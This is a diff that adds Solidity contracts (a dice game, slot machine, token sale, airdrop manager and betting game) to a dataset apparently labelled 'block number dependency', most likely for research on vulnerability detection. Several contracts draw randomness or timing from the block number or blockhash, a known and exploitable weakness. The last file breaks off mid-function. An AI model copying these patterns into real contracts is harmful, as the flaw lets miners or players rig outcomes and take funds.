+ totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + returns (uint) + { + return _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private returns (uint){ + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + require(roll.blockn != block.number); + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(99, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + if (profit > maxProfit){ + profit = maxProfit; + } + + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + + + playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0)); + + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + return result; + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0)); + + + + + setMaxProfit(); + + return result; + } + } + + + struct TKN {address sender; uint value;} + + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + require(msg.sender == ZTHTKNADDR); + if (_from == ZethrBankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint8 chosenNumber = uint8(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(ZethrBankroll, 0); + ZethrBankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/173.sol b/smart_contract_dataset/block number dependency/173.sol new file mode 100644 index 0000000000000000000000000000000000000000..99522610e0788357b7ef3854b89746418febe99b --- /dev/null +++ b/smart_contract_dataset/block number dependency/173.sol @@ -0,0 +1,247 @@ +pragma solidity ^0.4.24; + +contract IMigrationContract { + function migrate(address addr, uint256 nas) returns (bool success); +} + + +contract SafeMath { + + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract EBBToken is StandardToken, SafeMath { + + + string public constant name = "易宝币"; + string public constant symbol = "EBB"; + uint256 public constant decimals = 18; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + uint256 public tokenExchangeRate = 5963; + + + event AllocateToken(address indexed _to, uint256 _value); + event IssueToken(address indexed _to, uint256 _value); + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + event Migrate(address indexed _to, uint256 _value); + + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function EBBToken( + address _ethFundDeposit, + uint256 _currentSupply) + { + ethFundDeposit = _ethFundDeposit; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(_currentSupply); + totalSupply = formatDecimals(1600000000); + balances[msg.sender] = totalSupply; + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { + if (_tokenExchangeRate == 0) throw; + if (_tokenExchangeRate == tokenExchangeRate) throw; + + tokenExchangeRate = _tokenExchangeRate; + } + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + function setMigrateContract(address _newContractAddr) isOwner external { + if (_newContractAddr == newContractAddr) throw; + newContractAddr = _newContractAddr; + } + + + function changeOwner(address _newFundDeposit) isOwner() external { + if (_newFundDeposit == address(0x0)) throw; + ethFundDeposit = _newFundDeposit; + } + + + function migrate() external { + if(isFunding) throw; + if(newContractAddr == address(0x0)) throw; + + uint256 tokens = balances[msg.sender]; + if (tokens == 0) throw; + + balances[msg.sender] = 0; + tokenMigrated = safeAdd(tokenMigrated, tokens); + + IMigrationContract newContract = IMigrationContract(newContractAddr); + if (!newContract.migrate(msg.sender, tokens)) throw; + + Migrate(msg.sender, tokens); + } + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } + + + function allocateToken (address _addr, uint256 _eth) isOwner external { + if (_eth == 0) throw; + if (_addr == address(0x0)) throw; + + uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[_addr] += tokens; + + AllocateToken(_addr, tokens); + } + + + function () payable { + if (!isFunding) throw; + if (msg.value == 0) throw; + + if (block.number < fundingStartBlock) throw; + if (block.number > fundingStopBlock) throw; + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[msg.sender] += tokens; + + IssueToken(msg.sender, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1761.sol b/smart_contract_dataset/block number dependency/1761.sol new file mode 100644 index 0000000000000000000000000000000000000000..6539e23b4547a772367300ee9b1ebba4763d4403 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1761.sol @@ -0,0 +1,490 @@ +pragma solidity ^0.4.24; + + + +contract ZTHReceivingContract { + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + +contract ZTHInterface { + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zlots is ZTHReceivingContract { + using SafeMath for uint; + + address private owner; + address private bankroll; + + + uint totalSpins; + uint totalZTHWagered; + + + uint contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + ZTHInterface private ZTHTKN; + + mapping (uint => bool) validTokenBet; + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHJackpot(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreeGreenPyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeWhitePyramids(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoGreenPyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoWhitePyramids(address _wagerer, uint _block); + + event ReturnBet( + address _wagerer + ); + + event TwoAndAHalfXMultiplier( + address _wagerer + ); + + event OneAndAHalfXMultiplier( + address _wagerer + ); + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + modifier gameIsActive { + require(gameActive == true); + _; + } + + constructor(address ZethrAddress, address BankrollAddress) public { + + + ZTHTKNADDR = ZethrAddress; + ZTHBANKROLL = BankrollAddress; + + + owner = msg.sender; + bankroll = ZTHBANKROLL; + + + ZTHTKN = ZTHInterface(ZTHTKNADDR); + ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); + + + ZTHTKN.approve(owner, 2**256 - 1); + + + validTokenBet[5e18] = true; + validTokenBet[10e18] = true; + validTokenBet[25e18] = true; + validTokenBet[50e18] = true; + + gameActive = true; + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function tokenFallback(address _from, uint _value, bytes ) public returns (bool){ + if (_from == bankroll) { + + contractBalance = contractBalance.add(_value); + return true; + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn); + return true; + } + } + + struct playerSpin { + uint200 tokenValue; + uint48 blockn; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn) private { + + require(gameActive); + require(_zthToken(msg.sender)); + require(validTokenBet[_tkn.value]); + require(jackpotGuard(_tkn.value)); + + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + contractBalance = contractBalance.add(_wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint48(block.number); + spin.tokenValue = uint200(_wagered); + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 9999; + } else { + + + + result = random(1000000, spin.blockn, target); + } + + if (result > 476661) { + + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else { + if (result < 1) { + + profit = SafeMath.mul(spin.tokenValue, 500); + category = 1; + emit ThreeMoonJackpot(target, spin.blockn); + } else { + if (result < 298) { + + profit = SafeMath.mul(spin.tokenValue, 232); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else { + if (result < 3127) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10); + category = 3; + emit ZTHJackpot(target, spin.blockn); + + } else { + if (result < 5956) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else { + if (result < 8785) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else { + if (result < 11614) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else { + if (result < 14443) { + + profit = SafeMath.mul(spin.tokenValue, 50); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else { + if (result < 17272) { + + profit = SafeMath.mul(spin.tokenValue, 40); + category = 8; + emit ThreeGreenPyramids(target, spin.blockn); + } else { + if (result < 20101) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else { + if (result < 22929) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 10; + emit ThreeWhitePyramids(target, spin.blockn); + } else { + if (result < 52332) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else { + if (result < 120225) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else { + if (result < 171146) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else { + if (result < 222067) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else { + if (result < 272988) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else { + if (result < 323909) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else { + if (result < 374830) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10); + category = 17; + emit TwoGreenPyramids(target, spin.blockn); + } else { + if (result < 425751) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 19; + emit TwoWhitePyramids(target, spin.blockn); + } + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + contractBalance = contractBalance.sub(profit); + ZTHTKN.transfer(target, profit); + + + }}}}}}}}}}}}}}}}}} + + playerSpins[target] = playerSpin(uint200(0), uint48(0)); + return result; + } + + + + + + function jackpotGuard(uint _wager) + private + view + returns (bool) + { + uint maxProfit = SafeMath.mul(_wager, 500); + uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9); + return (maxProfit <= ninetyContractBalance); + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function balanceOf() public view returns (uint) { + return contractBalance; + } + + function addNewBetAmount(uint _tokenAmount) + public + onlyOwner + { + validTokenBet[_tokenAmount] = true; + } + + + function pauseGame() public onlyOwner { + gameActive = false; + } + + + function resumeGame() public onlyOwner { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwner { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwner { + bankroll = _newBankroll; + } + + + function divertDividendsToBankroll() + public + onlyOwner + { + bankroll.transfer(address(this).balance); + } + + function testingSelfDestruct() + public + onlyOwner + { + + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1791.sol b/smart_contract_dataset/block number dependency/1791.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1791.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1986.sol b/smart_contract_dataset/block number dependency/1986.sol new file mode 100644 index 0000000000000000000000000000000000000000..9230c7c600da8e91d3f95bee2081efa13d698b6e --- /dev/null +++ b/smart_contract_dataset/block number dependency/1986.sol @@ -0,0 +1,1250 @@ +pragma solidity ^0.4.18; + +contract PoP{ + using SafeMath for uint256; + using SafeInt for int256; + using Player for Player.Data; + using BettingRecordArray for BettingRecordArray.Data; + using WrappedArray for WrappedArray.Data; + using FixedPoint for FixedPoint.Data; + + + string public name; + string public symbol; + uint8 public decimals; + address private author; + + + event Bet(address player, uint256 betAmount, uint256 betNumber, uint256 gameNumber); + event Withdraw(address player, uint256 amount, uint256 numberOfRecordsProcessed); + event EndGame(uint256 currentGameNumber); + + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + event Burn(address indexed burner, uint256 value); + event Mined(address indexed miner, uint256 value); + + + function PoP() public { + name = "PopCoin"; + symbol = "PoP"; + decimals = 18; + author = msg.sender; + totalSupply_ = 10000000 * 10 ** uint256(decimals); + lastBetBlockNumber = 0; + currentGameNumber = 0; + currentPot = 0; + initialSeed = 0; + minimumWager = kBaseMinBetSize.toUInt256Raw(); + minimumNumberOfBlocksToEndGame = kLowerBoundBlocksTillGameEnd.add(kUpperBoundBlocksTillGameEnd).toUInt256Raw(); + gameHasStarted = false; + currentMiningDifficulty = FixedPoint.fromInt256(kStartingGameMiningDifficulty); + unPromisedSupplyAtStartOfCurrentGame_ = totalSupply_; + nextGameMaxBlock = kUpperBoundBlocksTillGameEnd; + nextGameMinBlock = kLowerBoundBlocksTillGameEnd; + currentGameInitialMinBetSize = kBaseMinBetSize; + } + + + + FixedPoint.Data _2pi = FixedPoint.Data({val: 26986075409}); + FixedPoint.Data _pi = FixedPoint.Data({val: 13493037704}); + FixedPoint.Data frontWindowAdjustmentRatio = FixedPoint.fromFraction(14, 10); + FixedPoint.Data backWindowAdjustmentRatio = FixedPoint.fromFraction(175, 100); + FixedPoint.Data kBackPayoutEndPointInitial = FixedPoint.fromFraction(1, 2); + FixedPoint.Data kFrontPayoutStartPointInitial = FixedPoint.fromFraction(1, 2); + uint256 constant kPercentToTakeAsRake = 3; + uint256 constant kPercentToTakeAsSeed = 9; + uint256 constant kDeveloperMiningPower = 30; + uint256 constant kTotalPercent = 100; + uint8 constant kStartingGameMiningDifficulty = 1; + uint8 constant kDifficultyWindow = 10; + FixedPoint.Data kDifficultyDropOffFactor = FixedPoint.fromFraction(8, 10); + uint256 constant kWeiConstant = 10 ** 18; + FixedPoint.Data kExpectedFirstGameSize = FixedPoint.fromInt256(Int256(10 * kWeiConstant)); + FixedPoint.Data kExpectedPopCoinToBePromisedPercent = FixedPoint.fromFraction(1, 1000); + FixedPoint.Data kLowerBoundBlocksTillGameEnd = FixedPoint.fromInt256(6); + FixedPoint.Data kUpperBoundBlocksTillGameEnd = FixedPoint.fromInt256(80); + FixedPoint.Data kBaseMinBetSize = FixedPoint.fromInt256(Int256(kWeiConstant/1000)); + FixedPoint.Data kMaxPopMiningPotMultiple = FixedPoint.fromFraction(118709955, 1000000); + + + + uint256 public lastBetBlockNumber; + uint256 public minimumNumberOfBlocksToEndGame; + uint256 public currentPot; + uint256 public currentGameNumber; + FixedPoint.Data currentMiningDifficulty; + uint256 public initialSeed; + + + + mapping (address => Player.Data) playerCollection; + BettingRecordArray.Data currentGameBettingRecords; + WrappedArray.Data gameMetaData; + mapping (address => uint256) playerInternalWallet; + FixedPoint.Data public initialBankrollGrowthAmount; + FixedPoint.Data nextGameInitialMinBetSize; + FixedPoint.Data currentGameInitialMinBetSize; + FixedPoint.Data nextGameMaxBlock; + FixedPoint.Data nextGameMinBlock; + uint256 bonusSeed; + uint256 minimumWager; + uint256 currentBetNumber; + + + mapping(address => uint256) popBalances; + mapping (address => mapping (address => uint256)) internal allowed; + uint256 totalSupply_; + uint256 supplyMined_; + uint256 supplyBurned_; + uint256 unPromisedSupplyAtStartOfCurrentGame_; + bool gameHasStarted; + + function startGame () payable public { + require (msg.sender == author); + require (msg.value > 0); + require (gameHasStarted == false); + + initialSeed = initialSeed.add(msg.value); + currentPot = initialSeed; + gameHasStarted = true; + } + + function updateNextGameMinAndMaxBlockUntilGameEnd (uint256 maxBlocks, uint256 minBlocks) public { + require (msg.sender == author); + require (maxBlocks > 0); + require (minBlocks > 0); + FixedPoint.Data memory nextMaxBlock = FixedPoint.fromInt256(Int256(maxBlocks)); + FixedPoint.Data memory nextMinBlock = FixedPoint.fromInt256(Int256(minBlocks)); + require(nextMaxBlock.cmp(kUpperBoundBlocksTillGameEnd.mul(FixedPoint.fromInt256(2))) != 1); + require(nextMaxBlock.cmp(kUpperBoundBlocksTillGameEnd.div(FixedPoint.fromInt256(2))) != -1); + require(nextMinBlock.cmp(kLowerBoundBlocksTillGameEnd.mul(FixedPoint.fromInt256(2))) != 1); + require(nextMaxBlock.cmp(kLowerBoundBlocksTillGameEnd.div(FixedPoint.fromInt256(2))) != -1); + + nextGameMaxBlock = FixedPoint.fromInt256(Int256(maxBlocks)); + nextGameMinBlock = FixedPoint.fromInt256(Int256(minBlocks)); + } + + function addToRakePool () public payable{ + assert (msg.value > 0); + playerInternalWallet[this] = playerInternalWallet[this].add(msg.value); + } + + + function bet () payable public { + + require(msg.value >= minimumWager); + require(gameHasStarted); + + uint256 betAmount = msg.value; + + + betAmount = betAmountAfterRakeHasBeenWithdrawnAndProcessed(betAmount); + + if((block.number.sub(lastBetBlockNumber) >= minimumNumberOfBlocksToEndGame) && (lastBetBlockNumber != 0)) { + processEndGame(betAmount); + } else if (lastBetBlockNumber == 0) { + initialBankrollGrowthAmount = FixedPoint.fromInt256(Int256(betAmount.add(initialSeed))); + } + + emit Bet(msg.sender, betAmount, currentBetNumber, currentGameNumber); + + Player.BettingRecord memory newBetRecord = Player.BettingRecord(msg.sender, currentGameNumber, betAmount, currentBetNumber, currentPot.sub(initialSeed), 0, 0, true); + + Player.Data storage currentPlayer = playerCollection[msg.sender]; + + currentPlayer.insertBettingRecord(newBetRecord); + + Player.BettingRecord memory oldGameUnprocessedBettingRecord = currentGameBettingRecords.getNextRecord(); + + currentGameBettingRecords.pushRecord(newBetRecord); + + if(oldGameUnprocessedBettingRecord.isActive == true) { + processBettingRecord(oldGameUnprocessedBettingRecord); + } + + currentPot = currentPot.add(betAmount); + currentBetNumber = currentBetNumber.add(1); + lastBetBlockNumber = block.number; + FixedPoint.Data memory currentGameSize = FixedPoint.fromInt256(Int256(currentPot)); + FixedPoint.Data memory expectedGameSize = currentMiningDifficulty.mul(kExpectedFirstGameSize); + minimumNumberOfBlocksToEndGame = calcNumberOfBlocksUntilGameEnds(currentGameSize, expectedGameSize).toUInt256Raw(); + minimumWager = calcMinimumBetSize(currentGameSize, expectedGameSize).toUInt256Raw(); + } + + function getMyBetRecordCount() public view returns(uint256) { + Player.Data storage currentPlayer = playerCollection[msg.sender]; + return currentPlayer.unprocessedBettingRecordCount(); + } + + + function playerPopMining(uint256 recordIndex, bool onlyCurrentGame) public view returns(uint256) { + Player.Data storage currentPlayer = 